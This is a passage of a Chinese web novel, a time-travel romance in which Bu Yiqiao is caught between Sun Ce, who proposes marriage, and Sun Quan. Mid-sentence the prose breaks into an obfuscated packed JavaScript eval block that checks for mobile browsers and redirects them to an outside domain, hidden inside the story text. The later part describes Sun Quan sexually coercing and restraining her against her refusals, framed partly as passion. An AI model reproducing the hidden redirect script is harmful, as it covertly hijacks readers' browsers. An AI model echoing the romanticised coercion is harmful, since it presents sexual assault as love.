“我若眼下跟你讲明白了,岂不是要礼崩乐坏,天翻地覆?”步一乔道。
周瑜唇角微扬,笑意却未达眼底,“倒也不至于,我只是好奇,穿越为何物,也好……明白我厮守之人,从何而来。”
他稍稍抬眸,眼里看的是步一乔,心底想的是小乔。
“民国,是何时的朝代?”
“不可说。”
“你与她差了百年,你又从何时而来?”
“不可说。”
步一乔嘴上重复着单调的答复,心底早已对着周瑜翻了个白眼。
这人那日果然一字不落地听全了她们的密谈。 步一乔合理怀疑,曾几何时,被孙权说是野猫的,路过窗外偷听的人,也是他。
“你为何没告诉伯符?”步一乔抛出疑问。
无论他们私谈多少次,周瑜始终守口如瓶,甚至暗中相助。
“皖城时,又如何看出我在寻孙权?”
周瑜了然似的颔首道:“直觉。一个聪明的谋士,直觉与察言观色同等重要。”
无论作为谋事还是武将,周瑜确实完美到无可挑剔。
步一乔追问:“我从未暴露自己与孙权之事,你只一眼,如何看出的?”
“是啊,怎么知道的呢。”周瑜忽而轻笑,“你我总是将问题绕回原处,毫无进展。该说你聪明,还是你我有几分相似?”
“都不是。”步一乔默默叹了口气,“起初我确实讨厌你,自以为是,咄咄逼人,一副定要将我逐出江东的架势。”
“何时?”周瑜微抬下颌,“将来吗?”
步一乔盯着那双笃定的眸子,道:“没有你,我同样可以辅佐伯符成就大业。”
没有周瑜,她亦可凭史书所知替代他,辅佐孙策。即便历史节点不可更改,待下一任江东之主登台,她同样能扭转乾坤。甚至在周瑜身亡后,她亦可引领孙权,修正谬误,重写历史。
周瑜注视着她淡然却不容置疑的决绝,眼底掠过一丝欣慰。
“多谢。”
突如其来的道谢,弄得步一乔茫然。
“……谢什么?”
“来此之前,夫人嘱托我,望我能救你一命。”
“小乔?她……还好吗?”
“担心你担心得茶不思饭不想,无时无刻不念叨着你。”
步一乔垂首,“让她担心了。”
“为何要以身相救一个素未谋面之人?”周瑜不待她答,因他早已洞悉,“因为仲谋?”
步一乔别过脸去:“我的存在本就是错,不过弥补罢了。”
“是啊,都是你的错。”周瑜低笑,“仲谋何曾做过这等违背伦常之事?若非他贤德之名深植人心,年前那事,足以毁尽他在江东的根基。”
“正因如此,我的决定没错。”
“那伯符呢?”
步一乔嗤笑:“我这般,怎配得上伯符?他险些气极,如今吴郡谁人不知,孙策未过门的妻子当众说要救一个山贼?”
“你待伯符如何?又待仲谋如何?”
“我不知道……”
昨夜零碎画面掠过心头,连她自己也分不清,这一年倾心之人究竟是谁。以至于眼下逐渐清晰的感情,也不敢肯定。
步一乔是聪明的,也是愚笨的。归根原因的话,大概是情感迟钝,前半生未曾谈过恋爱吧。
思绪流转间,她忽然忆起大小乔提过的那位能预言的道士。又想到了初临江东时,侍卫说一位道士说孙策是武神化身,自然不信鬼神。还有严白虎说能治病且能预言的道士……
莫非是同一人?如果是他,能解答自己的疑惑吗?
周瑜见她神游天外,执起手边竹简轻敲她额间。
“夫人还说……”周瑜稍作停顿,故意引来步一乔全神贯注,“你若有难解之惑,或可寻一位云游道人。据说此人能通晓古今,预言天命。”
步一乔心头一震,震惊之余怀疑周瑜是不是能听见她的心声。
“你知道这位道士在哪儿?”
“寻人还不简单。”周瑜优雅起身,掸去尘埃,“一刻钟到,我去唤伯符。”
“等一下!”步一乔猛地直起上身,拉住他衣袖,“帮我个忙吧,我想见他。”
*
周瑜推门而出,步一乔随其后。
“我孙策向来信守承诺。”他手起刀落,砍断捆绑严白虎的绳索,“滚出江东,此生不准我再看到你。”
严白虎揉着手腕上深深的勒痕,目光转向步一乔。
“步姑娘……你不必为我做到这般地步的……”
步一乔尚未开口,孙策的刀锋已抵上严白虎喉间。
“滚。”
一字千钧,全场寂然,四周的侍卫全部垂首屏息。
严白虎最后瞥了步一乔一眼,终究转身疾步离去。
场中尚有一人,怒意不逊孙策,只是惯于隐忍,若非细察难以察觉。
“公瑾带仲谋先行离开。”
“兄长!”孙权上前一步。
孙策手腕一转,刀尖直指孙权胸前。这是他生平第一次,以兵刃相对自己的弟弟。
“仲谋,退下。”孙策再次下令。
此刻,身份已变。
他不再是兄长,而是主公。孙策为君,孙权为臣。
刀刃距离孙权的胸口只有一掌之隔。孙权盯着眼前的刀尖,呼吸渐重。周瑜适时上前,轻轻按住孙权的手臂。
“走吧仲谋。”
孙权在周瑜半劝半扶下离去,背影僵硬,三步一回头。步一乔望着他,直到消失在门外,胸中如堵石垒。
她深吸一口气,转向孙策,敛衽为礼:“多谢伯符成全。一切因我而起,搅扰府上安宁,我……深感愧疚。”
“但请将军最后听我一言:切勿独自出门狩猎,务必处处小心。那些……昔日放走的余孽,祸患常起于疏忽。血肉之躯,会伤会死。人若死了,就什么都没了。”
同样的话她可翻来覆去地说,却唯独求不出一声“原谅”。
是真心换不来真情吗?孙策待她一片赤诚,可她这颗心,早已被另一人囚禁,挣脱不得。
语毕,步一乔亦欲转身速速离开这令人窒息的地方。
“回来。”孙策叫住她,声淡如常,“我一无所知。”
步一乔脚步停住,回过头:“什么?”
“这些日子发生的所有事,”孙策看着她,字字清晰,“我一无所知。”
步一乔怔住了:“将军你……”
孙策忽然一步跨前,双臂一伸,将她整个拥入怀中。
“抱歉……不对,是我放不下你。那日听你言‘以命换命’,我心如雷击,痛不能抑。这几日我思来想去,这辈子不曾如此斟酌过决策。”
孙策心慌着,恨自己嘴笨,晓不得在说些什么,怕步一乔听不明白自己的真情,气得又把人圈紧了些。
“父亲每次征战,心里最挂念的,是母亲。自我与你相识,也会时常想起你。议事结束,便马不停蹄赶回府中寻你。”
江东小霸王此生第一次这般深情的告白,险些把自己先说哭了。
步一乔愣在他怀中,始终垂下的眼眸抬起,望向门外。
不远处,孙权并未真正离去,他立在门边阴影里,紧抿着唇,看着步一乔的眼睛,再看兄长拥住她的背影。少年脸上本全是厉色,步一乔却从中辨出了委屈。
她心下黯然。
没有她,孙权依旧是那个万众瞩目的孙仲谋,将来妻妾成群,坐拥江东。他可是能与曹刘抗衡的人啊。
但孙策不同。
在这段她亲身经历的历史中,他始终形单影只。连原本该伴他身侧的大乔,也被自己取代。
可如此,与欺骗有何异?骗自己,骗伯符。
“一乔,”孙策的声音将她思绪拉回,“我们成亲吧。”
他顿了顿,继续道:“我虽一介武夫,终日只知征伐。这些年来,见母亲随父亲戎马半生,深知你若嫁我,将过何等日子。可是……”
他手臂又紧了紧,将她更深地圈进自己身体里。
“你就当我自私!我就是要与你成亲!”
步一乔脸色转白,开始用力推他。
“将军不要这样。这只会让我对你愧疚更深……”
“何来愧疚?我为何不知?”
“你——”步一乔几乎急出泪来,“我违背了三从四德,按照律法,我该去浸猪笼的!若损你一世英名,不如让我死了干净!”
“步一乔!”
孙策低喝一声,双手捧住她泪湿的脸,用指腹去擦她颊上的泪,力道有些重。
“你不是说,‘人生何其短暂’吗,我不想错过你。我不想短暂的一生,身边没有你。”
那感觉早已超越了所谓的“前世恩情”。他就是对眼前的女子着了魔,已爱至骨髓。
即便她犯下不可挽回之过,即便那人是他最器重的弟弟,他也宁愿装作一无所知,只因放不开这双手。
步一乔看着孙策,诉说之语已不单是告白,是恳求,真心真意对待自己的人的恳求……
“……将军又在作诗了。”步一乔哽咽着埋下头。
“一乔,你答不答应我?”孙策追问,“你应我一声,好不好?”
“我……我……”
“你不说话,我就当你答应了。”
孙策再次将她紧紧搂住,当机立断:
“明日正月十五,是个好日子。我们成亲。”
*
夜色浓重,步一乔独坐房中,半张脸埋进枕内。
白日里孙策的话还萦绕在心头。
明日……不如说今天,她真要嫁给孙策了。
门轴忽然发出一声轻响。她以为是夜风,并未抬头,直到一个熟悉的身影悄无声息地闪入屋内,利落地合上门扉。
“孙权?”
孙权从阴影中走出,肩头还带着深夜的寒气。他快步走到榻前,俯身紧紧抓住她的手腕。
“跟我走。”
“去哪?”
“私奔。”
“私奔?!”步一乔猛地抽手,“你疯了!”
“我没疯!”
孙权压低声音,每个字都像从牙缝里挤出,忽然拽着她的手腕将她从榻上扯起,逼近跟前。
“要我亲眼看着你嫁人,且不是嫁给我……倒不如方才死在兄长剑刃下!”
他两手握上来,将她的手指用力禁锢在掌心。
“放手!”
步一乔拼命向后躲,脊背撞上屏风,发出沉闷的响声。孙权却趁势逼近,将她困在胸膛与屏风之间。
“一乔,你看着我的眼睛说,你愿意嫁他?”
她偏过头,被他用力扳回:“事已至此,别无选择。”
“没有事已至此!”孙权打断她,“只要你点头,我现在就带你走。什么江东基业,什么君臣父子,我都可以不要!”
“那你就要我做一个千古罪人吗?”步一乔抬脚踢在他小腿上,他却纹丝不动,反而欺得更近。
“罪人?”
孙权冷笑,突然低头咬住她的下唇。血腥味在唇间弥漫,步一乔不断发出闷哼,费力拍打他的臂膀胸膛提醒,他都无动于衷。
胡乱作为的手开始抽解她的衣带,骨线分明的肩头转眼暴露在寒风中,步一乔不禁打了个寒颤,身体不自觉地贴近跟前的热源。
孙权的手覆上她的后背,将她按进自己怀中,用滚烫的热意包裹她,温暖她。
“这才叫罪。你让我变成这样,现在想抽身而退?不许……”
他捏住她的两腮,舌尖直接闯入她的领地,开始攻城略
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553584|186820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地,杀个片甲不留。
纤细的双腿快要站不住,步一乔无论如何用力反抗,孙权就像感知不到似的,毫无反应。倒是唇舌用力更甚,直到喉间也尝到血腥,他才倏然醒悟。
步一乔奋力推开他,剧烈地咳嗽起来。淡淡的血水落到地板上,溅到地上的衣裳上。孙权见状立马也蹲下身顺着步一乔的后背,却又被奋力推远。
她抬手狠狠擦过嘴唇,吼道:“孙权你清醒一点!你的抱负呢?江东的基业,你都不要了?!”
“不要了!”孙权答得毫不犹豫,“我什么都不要,我只要你。”
他上前抬起手想要拭去她脸上的泪痕和嘴角的血迹。步一乔猛地偏头躲开,又用力将他推开。孙权踉跄着后退了两步。
“不行!绝不可以离开!你不能离开孙家……这个家需要你,江东的未来更需要你……”
若死局无法更改,孙权若离开孙氏,东吴可就真完了。
“难道要我眼睁睁看着你与兄长拜堂成亲吗!”
“那就看!”步一乔失控般怒吼道,“从皖城起,从我第二次到吴郡起,我本就要嫁给他的!”
孙权痛苦地皱紧眉头,死死盯着她。
“你若执意嫁给兄长,不要我了……我明日便迎娶谢氏。”
步一乔咬紧下唇,两人怒目相视,谁也不肯退让。
见她不语,孙权以为威胁还不够分量,又向前一步,不顾步一乔反抗拒绝,手指发力扣住她纤细腰肢,几乎要将她折断。
“说,要不要跟我走?”
步一乔疼得脸色发白,却倔强地昂起头。
“我、说、不、行!”
孙权眼底最后一丝理智彻底湮灭。他捞起地上的衣裳,打包行李似的包裹住步一乔,猛地将她拦腰抱起,朝着门外走去。
此时夜深,早没了清醒的人。
除了担心白日到来的苦情人。
这是他们第一次在孙宅的廊道间“光明正大”地同行。寒冬的夜气温已近冰点,步一乔却觉得比白日被炭火烘烤的室内还要灼热。她知道这个时辰不会有人醒着,却仍觉得每一处阴影里都藏着窥视的眼睛。
“孙权你要带我去哪儿!”
她在他怀中低声挣扎,可病后虚弱的身子根本不是他的对手,所有的反抗都像是落进深潭的石子,激不起涟漪。
孙权得逞似的低笑,故意把人往上一颠,步一乔吓得以为要摔下去,手臂本能地环上他的脖颈,两人顿时贴得更近。
“别蹭了嫂嫂,不怕被人看见吗?”
“你——”步一乔气得浑身发抖,却又不敢大声,“你这个疯子……”
孙权抱着她转过廊角,认同似的点头,“对,疯了。从你选择兄长的那刻起,我就疯了。”
孙权单手箍着步一乔的腰,一脚踹开房门。将她撂下的瞬间,反手便落了锁,将她死死抵在冰凉的门板上。獠牙啃咬着她细嫩的皮肉,在脖颈处留下清晰可见的红痕。粗重的喘息喷在她颈间,手指粗暴地扯开她散乱的衣领。
“我今晚要做到什么地步……”他咬住她耳垂,力道逐渐咬合,字字磨进她血肉,“明天的婚事,才能作罢?”
步一乔吃痛,猛地伸手死死抓住他的头发,用力将他的头从自己颈间扯开。待脸抬起后扬起手就是两巴掌。不够解气,她又屈膝顶向他的磐石,却被他早有预料地牢牢制住双腿。
“放开我!”
“不放。”
右腿插|入她□□,膝盖强硬地顶住,左手扣住她大腿,将她整个人更狠地压向门板。门板发出不堪重负的闷响。
“啊——!”
步一乔吃痛一声,拼命扭动身体,手肘撞在他胸口,光脚跟狠狠踩在他鞋背上。他却纹丝不动,反而俯身逼近,咬住她的下唇开始吮吸。
黑暗里,两具身体无声抗衡,喘息交错,分不清是谁的更急更重。
“或者……”孙权的手扣住她的腰,扯开她最后一层遮羞布逼问,“做到清晨?有人来敲门,然后被全全看见,告知到兄长那儿?”
“不行!绝对不行!”
疯了……这人彻底疯了……
步一乔慌乱地看着眼前的男人,唇边反复了几遍他的名字,都无法叫出口。
这人,还是孙权吗?
“别这样……”她终于无力垂下头,哽咽出声,“我错了……都是我不好……求你别这样……”
此刻的孙权让她感到前所未有的恐惧。她真怕他会彻底失控,做出更可怕的事。
这便是自己贪图欲念的后果吗?只是惩罚她的,为何是他?
伯符也好,周瑜也好,谁都好,她受着,理所当然。
为何偏偏是他?
“这不是我要的答案。”他的声音冷了下来,“要不要跟我走?要不要嫁给兄长?”
步一乔绝望地闭上眼,咬紧下唇不肯作答。
孙权眼底寒意暴涨,猛地扯开自己前襟,一手扼住她后颈,将人狠狠按上自己赤|裸的胸膛。
两颗心在方寸间疯狂擂动,分不清谁的更慌,谁的更痛。
“好。那我不止娶谢氏,还有你提过的徐氏、王氏、袁氏,所有你叫出名字的,我统统娶进门!”
他贴着她耳廓,字字诛心。
“我会让她们夜夜在你院外笙歌,让你听着我是如何宠幸她们……直到你后悔今日的每一个字。”
步一乔在他怀中剧烈颤抖,倔强的眼泪尚未落下,剧烈抖动的手撑在他同样发抖的身子上,仍不肯屈服,说不出话。
孙权低笑一声,钳制住她后颈的手力道不松,反而愈发用力。后颈是掐不死人的,只会痛。像驯服一只躁动的猫,扼住命运的后颈。
黑暗中,平静的声音令人心悸。
“既然你执意要做我的嫂嫂……那我便成全你。”